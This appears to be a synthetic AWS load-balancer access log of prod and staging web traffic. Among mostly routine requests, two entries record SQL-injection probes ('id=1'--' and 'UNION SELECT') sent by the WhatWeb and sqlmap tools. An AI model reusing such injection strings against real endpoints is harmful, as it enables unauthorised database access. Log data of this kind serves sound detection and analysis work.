187.118.10.22:26486 10.0.165.14:443 0.051578 0.119013 0.062370 200 200 191 14134 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c073-cd645edfabb74cef8d670cd0" "prod-api-alb.example.com" "-" 5 2024-11-01T00:37:55.735136Z "forward" "-" "-" "10.0.165.14:443" "200" "-" "-" +https 2024-11-01T00:37:56.294737Z prod-api-alb 113.218.40.130:44726 10.0.178.31:443 0.062572 0.246378 0.079353 302 302 681 8984 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c074-bb1e2044ca684947a622e6fd" "prod-api-alb.example.com" "-" 6 2024-11-01T00:37:56.294737Z "forward" "-" "-" "10.0.178.31:443" "302" "-" "-" +https 2024-11-01T00:37:58.000577Z prod-web-alb 211.62.113.211:24633 10.0.47.168:443 0.073545 0.493405 0.090751 301 301 569 7133 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c076-c447f56b87354a1780eb79ff" "prod-web-alb.example.com" "-" 2 2024-11-01T00:37:58.000577Z "forward" "-" "-" "10.0.47.168:443" "301" "-" "-" +https 2024-11-01T00:37:59.448168Z prod-api-alb 109.19.239.186:50513 10.0.234.79:443 0.046220 0.413863 0.043582 200 200 802 10498 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c077-354a238f3656439b9f0448fa" "prod-api-alb.example.com" "-" 5 2024-11-01T00:37:59.448168Z "forward" "-" "-" "10.0.234.79:443" "200" "-" "-" +https 2024-11-01T00:37:59.861457Z prod-web-alb 234.252.140.60:62136 10.0.226.200:443 0.016487 0.489101 0.095572 301 301 926 12251 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c077-93e5e90924ad41569c7b0779" "prod-web-alb.example.com" "-" 4 2024-11-01T00:37:59.861457Z "forward" "-" "-" "10.0.226.200:443" "301" "-" "-" +https 2024-11-01T00:38:01.126837Z prod-api-alb 58.151.66.216:28038 10.0.64.38:443 0.078656 0.354861 0.038122 200 200 7 892 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c079-c248c4025481477e994a72d9" "-" "-" 6 2024-11-01T00:38:01.126837Z "forward" "-" "-" "10.0.64.38:443" "200" "-" "-" +https 2024-11-01T00:38:01.684735Z prod-web-alb 76.31.208.89:24948 10.0.147.62:443 0.039630 0.058591 0.041373 301 301 383 10703 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c079-1a76e6260a8b4bafbb1662fd" "prod-web-alb.example.com" "-" 3 2024-11-01T00:38:01.684735Z "forward" "-" "-" "10.0.147.62:443" "301" "-" "-" +https 2024-11-01T00:38:01.998050Z prod-api-alb 144.155.96.54:16957 10.0.21.142:443 0.003828 0.383076 0.051844 404 404 283 7889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c079-2524841b8c464eeda8a14a84" "prod-api-alb.example.com" "-" 10 2024-11-01T00:38:01.998050Z "forward" "-" "-" "10.0.21.142:443" "404" "-" "-" +https 2024-11-01T00:38:03.798752Z prod-web-alb 136.147.0.241:12886 10.0.66.18:443 0.096698 0.095393 0.016791 200 200 987 11787 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c07b-64db1d54d6bd437bbe78fcbc" "prod-web-alb.example.com" "-" 7 2024-11-01T00:38:03.798752Z "forward" "-" "-" "10.0.66.18:443" "200" "-" "-" +https 2024-11-01T00:38:03.999535Z prod-web-alb 134.209.165.99:48848 10.0.209.17:443 0.092160 0.231370 0.020599 404 404 568 12285 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c07b-aef0fb118f084644b30242f1" "prod-web-alb.example.com" "-" 5 2024-11-01T00:38:03.999535Z "forward" "-" "-" "10.0.209.17:443" "404" "-" "-" +https 2024-11-01T00:38:04.761543Z prod-api-alb 244.47.206.175:63998 10.0.189.88:443 0.050768 0.217790 0.039945 200 200 580 10936 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c07c-eb9f2ac81a5a4a308095a264" "prod-api-alb.example.com" "-" 6 2024-11-01T00:38:04.761543Z "forward" "-" "-" "10.0.189.88:443" "200" "-" "-" +https 2024-11-01T00:38:05.692374Z prod-web-alb 185.181.183.244:60298 10.0.19.41:443 0.012037 0.111390 0.032694 403 403 902 1285 "GET /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c07d-796f60b14fa44ff8b1245270" "-" "-" 5 2024-11-01T00:38:05.692374Z "forward" "-" "-" "10.0.19.41:443" "403" "-" "-" +https 2024-11-01T00:38:07.412056Z prod-web-alb 37.128.238.211:18821 10.0.122.91:443 0.039716 0.301213 0.050321 200 200 580 5176 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c07f-64be2d9ccda24e368d53b163" "prod-web-alb.example.com" "-" 7 2024-11-01T00:38:07.412056Z "forward" "-" "-" "10.0.122.91:443" "200" "-" "-" +https 2024-11-01T00:38:09.218748Z prod-web-alb 203.111.154.115:30371 10.0.207.95:443 0.096196 0.282086 0.003758 200 200 85 12919 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c081-718bf0b03f574262b2caf4d9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:38:09.218748Z "forward" "-" "-" "10.0.207.95:443" "200" "-" "-" +https 2024-11-01T00:38:11.076033Z staging-alb 196.177.127.216:16012 145.7.22.196:80 0.108678 0.235942 0.024713 200 200 397 8019 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c083-bc6ac231cf3747029b49ce97" "staging-alb.example.com" "-" 7 2024-11-01T00:38:11.076033Z "forward" "-" "-" "145.7.22.196:80" "200" "-" "-" +https 2024-11-01T00:38:12.267565Z prod-web-alb 163.2.5.54:58514 10.0.23.158:443 0.050454 0.412168 0.006888 301 301 360 12700 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c084-39469eb93c5547099b278e25" "prod-web-alb.example.com" "-" 6 2024-11-01T00:38:12.267565Z "forward" "-" "-" "10.0.23.158:443" "301" "-" "-" +https 2024-11-01T00:38:12.606930Z staging-alb 150.117.30.65:31385 168.120.229.99:8080 0.046637 0.590043 0.027120 301 301 90 10012 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c084-55c726caa4c6420989bcf723" "staging-alb.example.com" "-" 2 2024-11-01T00:38:12.606930Z "forward" "-" "-" "168.120.229.99:8080" "301" "-" "-" +https 2024-11-01T00:38:13.824639Z prod-api-alb 118.120.33.176:49237 10.0.70.164:443 0.004404 0.224914 0.063207 200 200 745 3004 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c085-3d3500fa40cf4085b224d49a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:38:13.824639Z "forward" "-" "-" "10.0.70.164:443" "200" "-" "-" +https 2024-11-01T00:38:14.418325Z staging-alb 137.189.173.199:45102 70.35.189.66:8080 0.112067 0.315074 0.107562 404 404 594 14189 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c086-2ca726f7fd704b9fa3ead860" "staging-alb.example.com" "-" 3 2024-11-01T00:38:14.418325Z "forward" "-" "-" "70.35.189.66:8080" "404" "-" "-" +https 2024-11-01T00:38:15.049215Z prod-api-alb 146.255.200.136:45158 10.0.167.82:443 0.075602 0.426260 0.013593 301 301 859 14622 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c087-e856350d62924fd2a7ac58bd" "prod-api-alb.example.com" "-" 3 2024-11-01T00:38:15.049215Z "forward" "-" "-" "10.0.167.82:443" "301" "-" "-" +https 2024-11-01T00:38:16.700110Z prod-web-alb 115.244.213.35:28917 10.0.183.215:443 0.053798 0.476168 0.017038 200 200 261 4337 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c088-5820401e44b04eae91ddb54b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:38:16.700110Z "forward" "-" "-" "10.0.183.215:443" "200" "-" "-" +http 2024-11-01T00:38:18.572063Z staging-alb 227.3.241.235:26828 54.85.182.148:8080 0.003800 0.670931 0.031861 200 200 863 3212 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c08a-6f0254c4877d46dbb8a29640" "staging-alb.example.com" "-" 8 2024-11-01T00:38:18.572063Z "forward" "-" "-" "54.85.182.148:8080" "200" "-" "-" +https 2024-11-01T00:38:19.131389Z staging-alb 96.153.176.92:18240 240.23.215.5:8080 0.104361 0.639187 0.000793 404 404 71 9476 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c08b-4c170ffefd22465683ae042b" "staging-alb.example.com" "-" 0 2024-11-01T00:38:19.131389Z "forward" "-" "-" "240.23.215.5:8080" "404" "-" "-" +https 2024-11-01T00:38:20.009192Z staging-alb 100.133.242.123:45957 40.231.148.207:8080 0.070181 0.428312 0.048497 301 301 866 12286 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c08c-22111f3733c243cab2d3ccce" "staging-alb.example.com" "-" 4 2024-11-01T00:38:20.009192Z "forward" "-" "-" "40.231.148.207:8080" "301" "-" "-" +https 2024-11-01T00:38:20.299387Z prod-web-alb 173.28.137.116:60966 10.0.226.108:443 0.091281 0.434570 0.020926 200 200 339 12131 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c08c-018f996d3f744c589c93d48f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:38:20.299387Z "forward" "-" "-" "10.0.226.108:443" "200" "-" "-" +http 2024-11-01T00:38:21.769728Z staging-alb 49.158.233.171:39276 104.20.32.205:80 0.041083 0.574936 0.033343 200 200 378 4988 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c08d-249f79a8d0a4486f911b4f8d" "staging-alb.example.com" "-" 7 2024-11-01T00:38:21.769728Z "forward" "-" "-" "104.20.32.205:80" "200" "-" "-" +https 2024-11-01T00:38:23.235359Z prod-web-alb 246.159.74.34:49736 10.0.52.184:443 0.010645 0.344676 0.050245 301 301 280 9341 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c08f-5b416d28479d421cb1a11c45" "prod-web-alb.example.com" "-" 4 2024-11-01T00:38:23.235359Z "forward" "-" "-" "10.0.52.184:443" "301" "-" "-" +https 2024-11-01T00:38:23.548711Z prod-web-alb 185.181.118.169:12771 10.0.20.159:443 0.052971 0.113648 0.011679 200 200 198 5227 "POST /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c08f-ad0da4023f5f47d2bc1bb81b" "-" "-" 10 2024-11-01T00:38:23.548711Z "forward" "-" "-" "10.0.20.159:443" "200" "-" "-" +https 2024-11-01T00:38:24.428115Z staging-alb 240.58.192.153:16364 19.33.16.11:8080 0.004320 0.152944 0.114639 200 200 545 3497 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c090-056dd0079c1f427688b416d9" "staging-alb.example.com" "-" 5 2024-11-01T00:38:24.428115Z "forward" "-" "-" "19.33.16.11:8080" "200" "-" "-" +http 2024-11-01T00:38:25.804053Z staging-alb 168.50.250.16:21063 25.163.226.133:443 0.008722 0.296515 0.072753 301 301 515 5524 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c091-3370e82f5db2439095c24799" "staging-alb.example.com" "-" 10 2024-11-01T00:38:25.804053Z "forward" "-" "-" "25.163.226.133:443" "301" "-" "-" +http 2024-11-01T00:38:27.377982Z staging-alb 233.89.27.73:56515 151.238.69.40:443 0.120360 0.288157 0.025681 200 200 164 309 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c093-1eda38219e0740fc980edcf0" "staging-alb.example.com" "-" 1 2024-11-01T00:38:27.377982Z "forward" "-" "-" "151.238.69.40:443" "200" "-" "-" +http 2024-11-01T00:38:28.755444Z staging-alb 108.191.83.109:63520 19.74.107.4:80 0.006903 0.263729 0.044371 200 200 128 2534 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c094-4ec04b57b79d44c79697e1f4" "staging-alb.example.com" "-" 4 2024-11-01T00:38:28.755444Z "forward" "-" "-" "19.74.107.4:80" "200" "-" "-" +https 2024-11-01T00:38:29.816140Z prod-api-alb 61.111.178.50:16889 10.0.176.169:443 0.063153 0.272917 0.007318 200 200 967 11808 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c095-bfe93b948d8d4eeeb21f2902" "prod-api-alb.example.com" "-" 2 2024-11-01T00:38:29.816140Z "forward" "-" "-" "10.0.176.169:443" "200" "-" "-" +https 2024-11-01T00:38:31.079764Z prod-api-alb 86.77.10.5:12993 10.0.140.141:443 0.096649 0.445361 0.067567 200 200 339 10788 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c097-8e939f46463b428ca61389b6" "prod-api-alb.example.com" "-" 1 2024-11-01T00:38:31.079764Z "forward" "-" "-" "10.0.140.141:443" "200" "-" "-" +https 2024-11-01T00:38:32.406955Z prod-api-alb 75.133.66.170:48749 10.0.165.219:443 0.033174 0.258631 0.089043 301 301 485 14772 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c098-476b5add651b4f5488eb902d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:38:32.406955Z "forward" "-" "-" "10.0.165.219:443" "301" "-" "-" +https 2024-11-01T00:38:32.988511Z prod-web-alb 225.102.97.79:51997 10.0.219.255:443 0.050017 0.006192 0.015146 200 200 874 2542 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c098-6284518d557b48369563cdaa" "prod-web-alb.example.com" "-" 2 2024-11-01T00:38:32.988511Z "forward" "-" "-" "10.0.219.255:443" "200" "-" "-" +https 2024-11-01T00:38:34.336418Z prod-api-alb 116.15.152.107:54650 10.0.244.114:443 0.061806 0.013875 0.048405 200 200 951 7601 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c09a-f26629adc10a4dbba78bfb0a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:38:34.336418Z "forward" "-" "-" "10.0.244.114:443" "200" "-" "-" +https 2024-11-01T00:38:35.170089Z prod-web-alb 98.129.112.115:36857 10.0.250.187:443 0.031120 0.212340 0.048086 302 302 6 13093 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c09b-b4877d8e9f16406386b1b60a" "prod-web-alb.example.com" "-" 9 2024-11-01T00:38:35.170089Z "forward" "-" "-" "10.0.250.187:443" "302" "-" "-" +https 2024-11-01T00:38:36.697883Z prod-web-alb 227.246.226.95:38401 10.0.149.162:443 0.043505 0.370916 0.016798 200 200 621 6448 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c09c-4316a3e15104408fb5e62438" "prod-web-alb.example.com" "-" 0 2024-11-01T00:38:36.697883Z "forward" "-" "-" "10.0.149.162:443" "200" "-" "-" +https 2024-11-01T00:38:38.637033Z prod-web-alb 221.44.56.243:54760 10.0.241.34:443 0.082542 0.102325 0.039173 301 301 405 8028 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c09e-c61f089f28774fd28f181414" "prod-web-alb.example.com" "-" 1 2024-11-01T00:38:38.637033Z "forward" "-" "-" "10.0.241.34:443" "301" "-" "-" +https 2024-11-01T00:38:39.362150Z prod-web-alb 146.26.36.254:15687 10.0.157.132:443 0.059107 0.460618 0.051862 200 200 115 13682 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c09f-1c07f5df900a4bfc9da6b9bf" "prod-web-alb.example.com" "-" 2 2024-11-01T00:38:39.362150Z "forward" "-" "-" "10.0.157.132:443" "200" "-" "-" +https 2024-11-01T00:38:39.529705Z prod-api-alb 127.255.33.145:56535 10.0.92.102:443 0.031040 0.460700 0.092614 200 200 474 11372 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c09f-3f69b5c5e97146c49ec08b38" "-" "-" 1 2024-11-01T00:38:39.529705Z "forward" "-" "-" "10.0.92.102:443" "200" "-" "-" +https 2024-11-01T00:38:41.341992Z prod-api-alb 182.42.180.167:37262 10.0.108.213:443 0.004308 0.185962 0.028163 301 301 312 10663 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0a1-db78035c1d224cc28d86fc09" "prod-api-alb.example.com" "-" 1 2024-11-01T00:38:41.341992Z "forward" "-" "-" "10.0.108.213:443" "301" "-" "-" +https 2024-11-01T00:38:41.514030Z staging-alb 126.49.255.59:64871 250.81.154.223:8080 0.107522 0.117487 0.148220 200 200 423 3797 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0a1-e26d9dd0bb284fb981c3da85" "staging-alb.example.com" "-" 8 2024-11-01T00:38:41.514030Z "forward" "-" "-" "250.81.154.223:8080" "200" "-" "-" +https 2024-11-01T00:38:41.621978Z prod-api-alb 50.169.253.172:38769 10.0.3.247:443 0.087286 0.292708 0.084579 301 301 519 3698 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0a1-a30d718b4f7f4d33b4280cea" "prod-api-alb.example.com" "-" 0 2024-11-01T00:38:41.621978Z "forward" "-" "-" "10.0.3.247:443" "301" "-" "-" +https 2024-11-01T00:38:42.667698Z prod-web-alb 151.59.234.59:53202 10.0.142.234:443 0.076806 0.195221 0.013063 200 200 197 4532 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0a2-fe1b03a959cf40e096473c96" "prod-web-alb.example.com" "-" 8 2024-11-01T00:38:42.667698Z "forward" "-" "-" "10.0.142.234:443" "200" "-" "-" +https 2024-11-01T00:38:44.388579Z prod-api-alb 35.192.16.88:51498 10.0.44.101:443 0.018450 0.097307 0.046667 200 200 667 9783 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 